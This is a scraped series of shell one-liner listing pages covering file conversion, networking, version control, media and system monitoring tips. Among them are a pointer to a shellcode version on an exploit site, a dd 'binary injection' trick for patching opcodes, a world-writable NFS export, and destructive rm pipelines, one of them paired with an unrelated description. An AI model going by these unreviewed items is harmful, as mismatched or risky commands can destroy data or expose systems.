tp.constit.0.0.1.4oo file tp.constit.0.0.1.tmp file tp.constit.0.0.1-settings.4os file tp.constit.0.0.1-styles.4oy file tp.constit.0.0.1-manifest.4of file tp.constit.0.0.1-meta.4ot file tp.constit.0.0.1.4od Execute script `tp.constit.0.0.1.lg' adding: META-INF/ (stored 0%) adding: META-INF/manifest.xml (deflated 66%) adding: Pictures/ (stored 0%) adding: content.xml (deflated 66%) adding: meta.xml (deflated 57%) adding: settings.xml (deflated 45%) adding: styles.xml (deflated 89%) t4ht.c (2008-02-25-18:56 kpathsea) t4ht -f/tp.constit.0.0.1.tex -coo -cvalidate Entering tp.constit.0.0.1.lg System call: mkdir -p sxw-tp.constit.0.0.1.dir System return: 0 System call: mv tp.constit.0.0.1.4oo sxw-tp.constit.0.0.1.dir/content.xml System call: mkdir -p sxw-tp.constit.0.0.1.dir/Pictures System call: mv tp.constit.0.0.1-settings.4os sxw-tp.constit.0.0.1.dir/settings.xml System call: mv tp.constit.0.0.1-styles.4oy sxw-tp.constit.0.0.1.dir/styles.xml System call: mkdir -p sxw-tp.constit.0.0.1.dir/META-INF System call: mv tp.constit.0.0.1-manifest.4of sxw-tp.constit.0.0.1.dir/META-INF/manifest.xml System call: mv tp.constit.0.0.1-meta.4ot sxw-tp.constit.0.0.1.dir/meta.xml System call: cd sxw-tp.constit.0.0.1.dir; zip -r tp.constit.0.0.1.odt * ; cd .. System call: mv sxw-tp.constit.0.0.1.dir/tp.constit.0.0.1.odt . System call: rm tp.constit.0.0.1.4od System call: rm -r -f sxw-tp.constit.0.0.1.dir convert a latex source file (.tex) into opendocument (.odt ) format require the tex4ht package . You can open the file with openoffice , I use it much for correct my spelling and grammar . Resets a terminal that has been messed up by binary input yes "text" | annoying_installer_program # "text" defaults to the letter y Repeatedly send a string to stdout-- useful for going through "yes I agree" screens mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov remove audio trac from a video file create a copy of a video file without the audio tracs ‹ First < 121 122 123 124 125 > Last › pbpaste | tidy -xml -wrap 0 | pbcopy <some> <xml></xml> </some> OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard. This command can be used with xclip or xsel for use on a linux box. ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' admin@example.com For some reason the 2&>1 does not work for me, but the shorter stdout/stderr redirection >& works perfectly (Ubuntu 10.04). alias differ='sdiff --suppress-common-lines' bash alias for sdiff: differ this is just okey rm -r .[!.]* -A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT How to stop MAC Address via IPTables edit the /etc/sysconfig/iptables file and try to work whit this: -A INPUT -i (interface) -m mac (mac address) -j ACCEPT/DROP date --date=yesterday +%Y%m%d me@my-laptop:~$ date Wed Sep 8 17:55:57 IST 2010 me@my-laptop:~$ date --date=yesterday +%Y%m%d 20100907 Format date/time string for a different day The "date' command has options to easily format the date, day, month, time, etc. But what if you want a relative date or time. Like, I wanted yesterday's date in a particular format. You may want the exact date of "2 months ago" or "-3 days" nicely formatted. For that, you can use this command. The --date option takes fuzzy parameters like the ones mentioned in the previous sentence. sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo sudo route add 65.21.34.4 gw 127.0.0.1 lo Functions: route sudo Someone might attack on your system. You can drop attacker IP using IPtables. However, you can use route command to null route unwanted traffic. A null route (also called as blackhole route) is a network route or kernel routing table entry that goes nowhere. Matching packets are dropped (ignored) rather than forwarded, acting as a kind of very limited firewall. The act of using null routes is often called blackhole filtering. rpm -q --qf "%{VERSION}\n" redhat-release 5Server In this case, I'm getting the package version for 'redhat-release', but of course, this can be applied to any package installed on the filesystem. This is very handy in scripts that need to determine just the version of the package, without the package name and all the sed and grep hackery to get to the data you want. To find out all the support format strings that 'rpm --qf' supports: rpm --querytags ping -q -c 1 www.google.com|awk -F/ 'END{print $5}' find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n Functions: find sed sort uniq xargs sort through source to find most common authors php -r phpinfo(); Run the function phpinfo() on the shell seq 1000 | paste -sd+- | bc Functions: paste seq 1+2-3+4-5+6-7 Series /usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };' List apache2 virtualhosts Lists virtualhosts currently enabled for apache2, showing the ServerName:port, conf file and DocumentRoot dstat -afv dstat -afv Terminal width too small, trimming output. -------cpu0-usage--------------cpu1-usage------ --dsk/sda-- --net/ppp0- ---paging-- ---system-- ---procs--- ---paging--> usr sys idl wai hiq siq:usr sys idl wai hiq siq| read writ| recv send| in out | int csw |run blk new| in out > dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar . As mentioned in the summery that it is a powerful command to monitor system activity in great way. It has got the power of vmstat,iostat,mpstat,df,free and sar.Instead of firing each single command separately ,one can fire one single command to get all the info at once.But there is a way to get the individual information too. Please see the man page . You can get it from here : http://dag.wieers.com/home-made/dstat/ tempfile=$(/bin/mktemp) Create a temporary file To create directory, use: tempdir=$(/bin/mktemp -d) find . -printf '%d\n' | sort -n | tail -1 Functions: find sort tail Find directory depth Returns a the directory depth. find / -xdev -print | cpio -pdmuv /mnt/mydisk 1:1 copy of a volume copies all files from the source disk / (skipping boundaries of mouted -in volumes) to /mnt/mydisk. Logical links are being preserved as well as devices, pipes etc. This can copy a MacOS X or Linux volume and keep it bootable. Note: its not suited to copy files with MacOS 9 style resources. cdrecord dev=0,0,0 -v -eject yourimage.iso Burn CD/DVD from an iso, eject disc when finished. cdrecord -scanbus will tell you the (x,y,z) value of your cdr (for example, mine is 3,0,0) curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*' 14370790 Which Twitter user are you? This will tell you which twitter user you are chronologically. For example, a number of 500 means you were the 500th user to create a twitter account. ssh -NL 2000:remotehost:22 remotehost Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel :set nomore :argdo %s/foo/bar/g | update %s across multiple files with Vim src: http://www.ibrahim-ahmed.com/2008/01/find-and-replace-in-multiple-files-in.html GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; } GeoipLookUp 89.201.44.45 IP: 89.201.44.45 Location: riga, RIGA, Latvia [LV] (Baltkom) That makes a function you can put in your ~/.bashrc to run it when you need in any term with an IP as argument jar -tf file.jar META-INF/ META-INF/MANIFEST.MF WEB-INF/ WEB-INF/classes/ WEB-INF/jsp/ WEB-INF/lib/ WEB-INF/applicationContext.xml WEB-INF/dispatcher-servlet.xml WEB-INF/jboss-web.xml WEB-INF/jsp/index.jsp WEB-INF/lib/antlr-2.7.2.jar WEB-INF/lib/bsf-2.3.0.jar WEB-INF/lib/cglib-2.2.jar WEB-INF/lib/commons-beanutils-1.7.0.jar WEB-INF/lib/commons-chain-1.1.jar WEB-INF/lib/commons-digester-1.8.jar WEB-INF/lib/commons-fileupload-1.1.1.jar WEB-INF/lib/commons-io-1.1.jar WEB-INF/lib/commons-logging-1.0.4.jar WEB-INF/lib/commons-logging-1.1.jar WEB-INF/lib/commons-validator-1.3.1.jar WEB-INF/lib/jstl-1.0.2.jar WEB-INF/lib/oro-2.0.8.jar WEB-INF/lib/spring-2.5.jar WEB-INF/lib/spring-webmvc-2.5.jar WEB-INF/lib/standard-1.0.2.jar WEB-INF/lib/struts-core-1.3.8.jar WEB-INF/lib/struts-el-1.3.8.jar WEB-INF/lib/struts-extras-1.3.8.jar WEB-INF/lib/struts-faces-1.3.8.jar WEB-INF/lib/struts-mailreader-dao-1.3.8.jar WEB-INF/lib/struts-scripting-1.3.8.jar WEB-INF/lib/struts-taglib-1.3.8.jar WEB-INF/lib/struts-tiles-1.3.8.jar WEB-INF/web.xml redirect.jsp List contents of jar useful to find the list of dependencies ls -1 | shuf -n 1 random file from files in directory date -d2009-05-18 > /dev/null 2>&1 ; echo $? Validate date, also a date within a leap year Important to know: a valid date will return 0, otherwise 1! ‹ First < 122 123 124 125 126 > Last › sudo tune2fs -m 1 /dev/sda4 Functions: sudo tune2fs Setting reserved blocks percentage to 1% According to tune2fs manual, reserved blocks are designed to keep your system from failing when you run out of space. Its reserves space for privileged processes such as daemons (like syslogd, for ex.) and other root level processes; also the reserved space can prevent the filesystem from fragmenting as it fills up. By default this is 5% regardless of the size of the partition. http://www.ducea.com/2008/03/04/ext3-reserved-blocks-percentage/ history -c Clear current session history (bash) TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0 Functions: exit mktemp trap Cleanly manage tempfiles in scripts Cleanly create tempfiles using mktemp and remove them using traps instead of removing them in the end of the script. This way, you make sure the tempfiles are removed properly even if the script is killed or interrupted. For a user script in KDE4, you can set TMPROOT using : TMPROOT=$(kde4-config --path tmp) alias restart='apache2ctl configtest && apache2ctl restart' restart apache only if config works making lots of configurations to apache and restarting the server only to find it broken just plain sucks. i=0;for s in `fuser -l`;do echo $((i++)) $s;done grep -Fvf file1 file2 > file-new Remove text from file1 which is in file2 and stores it in an other file This command compares file2 with file1 and removes the lines that are in file1 from file2. Handy if you have a file where file1 was the origional and you want to remove the origional data from your file2. sed -e :a -e '/$/N;s/\n/ /;ta' <filename> line1 line2 lineN becomes: line1 line2 ... lineN Concatenates lines using sed lsof -bw -d cwd -a -c java show the working directories of running processes this shows the CWD of every running `java' command. YMMV but we often switch to a working directory for each service to start and run from there -- therefore this quicly shows what is running by a more meaningful name than command alone (the -bw prevents using blocking system calls which speeds this up quite a bit in the presence of remote mounted filesystems) for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done convert all files in a dir of a certain type to flv This converts all m4a files in a dir to flv. You can just swap the m4a bit to anything else ffmpeg supports though, and it'll work. vlc -I ncurses <MEDIA_DIR> Vlc ncurses mode browsing local directorys. checkrestart This command can be installed in debian by the package debian-goodies. It also outputs the /etc/init.d/ commands that you need to do. echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness Functions: dd echo sudo An alternative which does not require to be root lsof -Pn | grep LISTEN tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp Getting started with tcpdump At some point you want to know what packets are flowing on your network. Use tcpdump for this. The man page is obtuse, to say the least, so here are some simple commands to get you started. -n means show IP numbers and don't try to translate them to names. -l means write a line as soon as it is ready. -i eth0 means trace the packets flowing through the first ethernet interface. src or dst w.x.y.z traces only packets going to or from IP address w.x.y.z. port 80 traces only packets for HTTP. proto udp traces only packets for UDP protocol. Once you are happy with each option combine them with 'and' 'or' 'not' to get the effects you want. telnet somehost 1234, <ctrl+5> close # telnet somehost 1234 # ^c^c^z^x # # Still connected... You are stuck with testing a tcp port using telnet, and must kill the telnet session from another terminal... Or, press ctrl+5 and write close/quit to force the current connection to close.. cssh 192.168.125.{1..200} Combine cssh and shell expansion to execute commands on a large cluster This will open an awful lot of little windows, but is quite useful if you want to quickly patch something on a cluster of servers. pdftk pdfname.pdf cat 1E output outputname.pdf new file : outputname.pdf rotate a one page pdf to 90 Degrees Clockwise This can be taken from the pdftk docs http://www.pdflabs.com/docs/pdftk-man-page/ http://www.pdflabs.com/docs/pdftk-cli-examples/ , but the command examples are not simple. svn propset svn:executable ON filename property 'svn:executable' set on 'filename' Set executable permissions on a file under Subversion This avoids the "chmod +x filename" after performing a check out or export. From http://snipplr.com/view/5277/set-executable-permissions-on-a-file-under-subversion/ mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm Functions: mailx Email HTML content Note, this works because smtp is running while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]") Functions: dd echo grep read sleep tr true Same as above but slooooow it down tar cfz backup-$(date --iso).tar.gz somedirs Create a tar file with the current date in the name. lsusb -s :`lsusb | grep iPhone | cut -d ' ' -f 4 | sed 's/://'` -v | grep iSerial | awk '{print $3}' <40 HEX-chars> Functions: awk cut grep lsusb sed Show UDID of iPhone nc -l 8000 GET / HTTP/1.0 User-Agent: w3m/0.5.2 Accept: text/html, text/*;q=0.5, image/*, audio/*, application/* Accept-Encoding: gzip, compress, bzip, bzip2, deflate Accept-Language: en;q=1.0 Host: localhost:8000 Have netcat listen on port 8000, point browser to http://localhost:8000/ and you see the information sent. netcat terminates as soon as your browser disconnects. I tested this command on my Fedora box but linuxrawkstar pointed out that he needs to use nc -l -p 8000 instead. This depends on the netcat version you use. The additional '-p' is required by GNU netcat that for example is used by Debian but not by the OpenBSD netcat port used by my Fedora system. dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size Get info on RAM Slots and Max RAM. tr -c -d 0-9 < /dev/urandom | head -c 10 ‹ First < 123 124 125 126 127 > Last › if (nc -zw2 www.example.com 80); then echo open; fi Requires netcat. ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1 find duplicate processes This command will allow to search for duplicate processes and sort them by their run count. Note that if there are same processes run by different users you'll see only one user in the result line, so you'll need to do: ps aux | grep <process> to see all users that run this command. svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf delete unversioned files in a checkout from svn curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http' get delicious bookmarks on your shell (text version :-)) a variation of avi4now's command - thanks by the way! img test.jpg Preview of a picture in a terminal This command allows you to see a preview of a picture via the terminal. It can be usefull when you are ssh'ing your server without X-forwarding. To have en example of the output you can get with this command see http://www.vimeo.com/3721117 Sources here: http://inouire.net/archives/image-couleur_source.tar.gz libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi; /lib32/libgcc_s.so.1 is a 32 bit library Functions: echo grep sed wc determine if a shared library is compiled as 32bit or 64bit [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month' Is today the last day of the month? Nice simple example of something we can do in bash. wait $! Functions: wait Wait for an already launched program to stop before starting a new command. Referring to the original post, if you are using $! then that means the process is a child of the current shell, so you can just use `wait $!`. If you are trying to wait for a process created outside of the current shell, then the loop on `kill -0 $PID` is good; although, you can't get the exit status of the process. cat /proc/acpi/thermal_zone/THRM/temperature gunslinger@localhost:~$ cat /proc/acpi/thermal_zone/THRM/temperature gunslinger@localhost:~$ shellcode version @ http://inj3ct0r.com/exploits/12554 git log --oneline <REMOTE>..<LOCAL BRANCH> GIT: list unpushed commits sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv Replace multiple spaces with semicolon xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip Spell check the text in clipboard (paste the corrected clipboard if you like) xclip -o > /tmp/spell.tmp # Copy clipboard contents to a temp file aspell check /tmp/spell.tmp # Run aspell on that file cat /tmp/spell.tmp | xclip # Copy the results back to the clipboard, so that you can paste the corrected text I'm not sure xclip is installed in most distributions. If not, you can install x11-apps package echo $(( $(echo 1 "* "{2..10}) )) for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done Mount important virtual system directories under chroot'ed directory The command is useful when, e.g., booting an existing system with a rescue or installation CD where you need to chroot into the hard-disk and be able to do stuff which accesses kernel info (e.g. when installing Ubuntu desktop with LVM2 you need to mount and chroot the hard disk from a shell window in order to install packages and run initramfs inside chroot). The command assumes that /mnt/xxx is where the chroot'ed environment's root file system on the hard disk is mounted. cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l Functions: cat tee wc Both view and pipe the file without saving to disk This is a cool trick to view the contents of the file on /dev/pts/0 (or whatever terminal you're using), and also send the contents of that file to another program by way of an unnamed pipe. All the while, you've not bothered saving any extra data to disk, like you might be tempted to do with sed or grep to filter output. git status | grep deleted | awk '{print $3}' | xargs git rm delete multiple files from git index that have already been deleted from disk delete multiple files from git index that have already been deleted from disk. this is pretty terrible, I'm looking for a better way. (much better!! http://www.commandlinefu.com/commands/view/1246/git-remove-files-which-have-been-deleted) find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}' Functions: awk find Recover cvs ": no such repository" error svn status | grep '!' | sed 's/!/ /' | xargs svn del --force $ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]" $ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat 1k23 10k0 100k 1M00 24k5 4k54 2P35 0m34 0n35 Convert numbers to SI notation converts any number on the 'stdin' to SI notation. My version limits to 3 digits of precious (working with 10% resistors). ip route list match 0.0.0.0/0 | cut -d " " -f 3 Functions: cut route Fetch the Gateway Ip Address Better use iproute2 ! alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a' $ which env alias env='command printenv' $ whichf env env () command env $@ $ whicha env $ whichx env /bin/env $ whichall env /usr/bin/env Functions: alias command which 5 Which Aliases 5 helpful aliases for using the which utility, specifically for the GNU which (2.16 tested) that is included in coreutils. Which is run first for a command. Same as type builtin minus verbosity alias which='{ command alias; command declare -f; } | command which --read-functions --read-alias' Which (a)lias alias whicha='command alias | command which --read-alias' Which (f)unction alias whichf='command declare -f | command which --read-functions' Which e(x)ecutable file in PATH alias whichx='command which' Which (all) alias, function, builtin, and files in PATH # From my .bash_profile http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd Functions: echo ls ps xargs echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc Functions: dd echo Binary injection Replace (as opposed to insert) hex opcodes, data, breakpoints, etc. without opening a hex editor. HEXBYTES contains the hex you want to inject in ascii form (e.g. 31c0) OFFSET is the hex offset (e.g. 49cf) into the binary FILE espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 - Your name backwards ‹ First < 124 125 126 127 128 > Last › sed -i 's/OLD/NEW/g' FILE Change every instance of OLD to NEW in file FILE Very quick way to change a word in a file. I use it all the time to change variable names in my PHP scripts (sed -i 's/$oldvar/$newvar/g' index.php) slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop; positions the mysql slave at a specific master position say you want to reinitialize the slave database without resetting the master positions. You stop the slave, dump the master database with --master-data=2 then execute the command on the slave and wait for it to stop at the exact position of the dump. reinit the slave db and start the slave. enjoy. echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min 1 Wed Jul 20 14:02:00 2011 a SMS reminder Send an e-mail to SMS reminder in 15 minutes from now, to call my wife. See list of carriers bellow Carrier Email to SMS Gateway Alltel [10-digit phone number]@message.alltel.com AT&T (formerly Cingular) [10-digit phone number]@txt.att.net [10-digit phone number]@mms.att.net (MMS) [10-digit phone number]@cingularme.com Boost Mobile [10-digit phone number]@myboostmobile.com Nextel (now Sprint Nextel) [10-digit telephone number]@messaging.nextel.com Sprint PCS (now Sprint Nextel) [10-digit phone number]@messaging.sprintpcs.com [10-digit phone number]@pm.sprint.com (MMS) T-Mobile [10-digit phone number]@tmomail.net US Cellular [10-digit phone number]email.uscc.net (SMS) [10-digit phone number]@mms.uscc.net (MMS) Verizon [10-digit phone number]@vtext.com [10-digit phone number]@vzwpix.com (MMS) Virgin Mobile USA [10-digit phone number]@vmobl.com tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg Functions: gpg head tr Create passwords and store safely with gpg Adjust the head -c part for password length. I use filenames like "hans@commandlinefu.com.gpg" and a vim which automatically decrypts files with .gpg suffixes. rpm -qa \*code\* iso-codes-1.5-1.fc8 pygtk2-codegen-2.12.0-2.fc8 recode-3.6-24.fc8 dmidecode-2.7-1.26.1.fc6 transcode-1.0.3-1.fc7 microcode_ctl-1.17-1.39.fc8 Search through all installed packages names (on RPM systems) You can use wildcard with rpm search but you have to do 2 things: 1. use "-a" switch (means "all") with query ("-q") switch - argument is a pattern to use while searching for package names of all installed packages 2. protect wildcards, so that shell could not eat them - escape it with backslash ("\") or enclose all pattern between apostrophes ("'"): rpm -qa 'co*de' As you can see above it is possible to insert wildcards into middle of the pattern. If you want, you can add "-i" or another rpm query options, "-i" will print package information for all installed packages matching pattern. iconv -c -f utf-8 -t ascii file.txt clear all non-ascii chars of file.txt find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done Functions: dump echo find read sudo Archive all SVN repositories in platform indepenent form This command dumps all SVN repositories inside of folder "repMainPath" (not recursively) to the folder "dumpPath", where one dump file will be created for each SVN repository. tail -f logfile.log | cut -b 1-80 Functions: cut tail Tail a log file with long lines truncated This truncates any lines longer than 80 characters. Also useful for looking at different parts of the line, e.g. cut -b 50-100 shows columns 50 through 100. while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done & Functions: grep sleep which Log the current memory statistics frequently to syslog Uses logger in a while loop to log memory statistics frequently into the local syslog server. for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done Convert multiple flac files to mp3 make sure that flac and lame are installed sudo apt-get install lame flac ar -x package.deb Functions: ar extract content of a Debian package < /var/log/syslog ccze -A | less -R View a colorful logfile using less budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm -rf $budir;done Functions: dump Use of hotcopy for safety/stability of the backups. ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d" ' ' '\t' '\n' 0x20 0x09 0x0a Functions: echo hexdump sed Functions to display, save and restore $IFS You can display, save and restore the value of $IFS using conventional Bash commands, but these functions, which you can add to your ~/.bashrc file make it really easy. To display $IFS use the function ifs shown above. In the sample output, you can see that it displays the characters and their hexadecimal equivalent. This function saves it in a variable called $saveIFS: sifs () { saveIFS=$IFS; } Use this function to restore it rifs () { IFS=$saveIFS; } Add this line in your ~/.bashrc file to save a readonly copy of $IFS: declare -r roIFS=$IFS Use this function to restore that one to $IFS rrifs () { IFS=$roIFS; } findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';} shadyabhi@ArchLinux ~ $ findlocation DA-IICT Full Address: Dhirubhai Ambani Institute of Information and Communication Technology, Gandhinagar, Gujarat, India, coordinates: [ 72.6276828, 23.1891000, 0 ] shadyabhi@ArchLinux ~ $ findlocation "DA-IICT Gandhinagar" shadyabhi@ArchLinux ~ $ find co-ordinates of a location Just add this to your .bashrc file. Use quotes when query has multiple word length. awk '{gsub("<[^>]*>", "")}1' file A shorter version of command #3014, using awk instead of sed. Useful when scraping websites with a script. watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'" Every 10.0s: wget -q http://www.brillig.com/debt_clock -O - | grep debt... Thu Mar 26 15:28:51 2009 $11,054,045,193,869.78 Watch the National Debt clock The idea was originally stolen from Linux Journal. 'wget' pulls the debt clock and 'sed' reformats it for general consumption. Prefacing the command with 'watch' simply sets an interval - in this case every 10 seconds. find . -name "*.sql" -print0 | wc -l --files0-from=- 106 ./bt335/blah/bt335/record.py 291 ./bt335/manager.py 128 ./bt335/foo/BT335-20080901/bt335/serialgps.py 121 ./bar/bt335.py 646 total Get lines count of a list of files This command gives you the number of lines of every file in the folder and its subfolders matching the search options specified in the find command. It also gives the total amount of lines of these files. The combination of print0 and files0-from options makes the whole command simple and efficient. cat /proc/acpi/ac_adapter/AC0/state state: off-line Check whether laptop is running on battery or cable In my case it was actually like this... ls -F | grep '*$' A bit shorter ;) ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv bulk rename files with sed, one-liner Renames all files in a directory named foo to bar. foobar1 gets renamed to barbar1 barfoo2 gets renamed to barbar2 fooobarfoo gets renamed to barobarfoo NOTE: Will break for files with spaces AND new lines AND for an empty expansion of the glob '*' perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}' bork@bork:$ ps bork bork bork bork bork@bork:$ pwd /bork/bork/bork bork@bork:$ whoami bork bork@bork:$ Translate your terminal into Swedish Chef Bork, bork, bork! To keep it short, the first terminal line doesn't show a prompt. ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}" .... ....... ........ ...... .. . . .. .. .. .. .. . . .. . .. . .. .. .. .. . . . . . . .. . .. .. .. . . . . . . .. . . .. . . . . . . . .. . . . . . . .. . . .. .. .. . . . .. . .. . . . . . . . . .. . .. .. . .. . . . . . .. .. . . . . . . . . . . . . .. . . .. .. .. . . . . .. . . . . .. . . . . ... . . . . .. . . . . . . . . . . .. .. . .. . . . . . . . . . . .. . . . .. . . . . . . . . .. . . . . . . . . . . .. .. .. .. . . . . . . . . .. . .. . . . . . . .. .. .. .. . .. . .. . . .. .. .. .. .. . .. .. ...... ....... ....... ... Use Ruby's standard Curses module to display a Lissajous curve in the console. Replace the "0.2" with different numbers for different curves. exportfs -o fsid=0,rw :/home/jason Export a directory to all clients via NFSv4, read/write. This exports a directory to the world in read/write mode. It is useful for quick, temporary NFS exports. Consider restricting the clients to a subnet or to specific hosts for security reasons (the client can be specified before the colon). On the client: mount -t nfs4 hostname:/ /mountpoint To terminate all of the exports (after unmounting on the client): exportfs -u -a Leave out the fsid=0 option if you don't want NFSv4. This works under recent versions of Linux. python3 -m http.server ‹ First < 125 126 127 128 129 > Last › find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \; slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; } Functions: cut gawk renice slow down CPU and IO for process and its offsprings. pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2 Wait the end of prog1 and launch prog2 zipinfo -l <pathtozipfile> List detailed information about a ZIP archive list zipfile info in long Unix ``ls -l'' format. for a in *; do mv $a prefix${a}; done Add "prefix" on a buch of files xmms2 pause && echo "xmms2 play" | at now +5min A snooze button for xmms2 alarm clock you can also run "xmms2 pause & at now +5min openssl base64 -in base64.decoded.txt -out base64.encoded.txt Encode/Decode text to/from Base64 on a Mac w/out Mac Ports I have a mac, and do not want to install mac ports to get the base64 binary. Using openssl will do the trick just fine. Note, to decode base64, specify a '-d' after 'base64' in the command. Note also the files base64.decoded.txt and base64.encoded.txt are text files. ls -t | tail +6 | xargs rm Functions: ls tail xargs yes 6 (tail from 6th line) This will remove all installed kernels on your debian based install, except the one you're currently using. From: http://tuxtweaks.com/2009/12/remove-old-kernels-in-ubuntu/comment-page-1/#comment-1590 dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img Functions: dd mkdosfs Create a DOS floppy image mount with: mount -t msdos -o loop ./floppy.img /tmp/mnt git log --pretty=oneline 9f86a48d60a2efde9a2ab827cf4338b4dac63adf added 'devr' environment & removed old config files 9069c583dc56ca6e152d0fc33cc29a8face951c6 updated db dumps 705911d9702e9c8a7e74e87f0b9656fd6bc52a3f quick mod to database yaml for getting devr working 98cc10bc39cf294501cb3109e8fae3900490c129 added placeholder file for active_scaffold dir a3e0a4380bbbe545910055648e85448dfa52f210 fixed issue with commas not being escaped in result set name 1b45bda02d0bb52d866a93536eb924794ddd35e6 improved highlighting behavior when changing pages, approving all, or reviewing. add paginaiton to b55776b55b0262a26b6844f23e7f4069e54f824d UPDATED IMPORT to allow for multiple result sets to be imported. b4c60a389c6158d50be380158c5c3ccf972bbb22 added "approve all" function allowing all pages for a search result to be approved. .... etc Assuming you are working within a git repository, you can run the above command & see what has changed in reverse chronological order, with one commit per line. Other formatting variations to 'oneline' include 'short', 'medium', 'full', 'fuller', 'email' or 'raw'. b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done http://2009.utosc.com/static/slides/Crowdsourcing_UTOSC.ppt download all the presentations from UTOSC2010 miss a class at UTOSC2010? need a refresher? use this to curl down all the presentations from the UTOSC website. (http://2010.utosc.com) NOTE/WARNING this will dump them in the current directory and there are around 37 and some are big - tested on OSX10.6.1 tar -cf - ./file | lzma -c | ssh 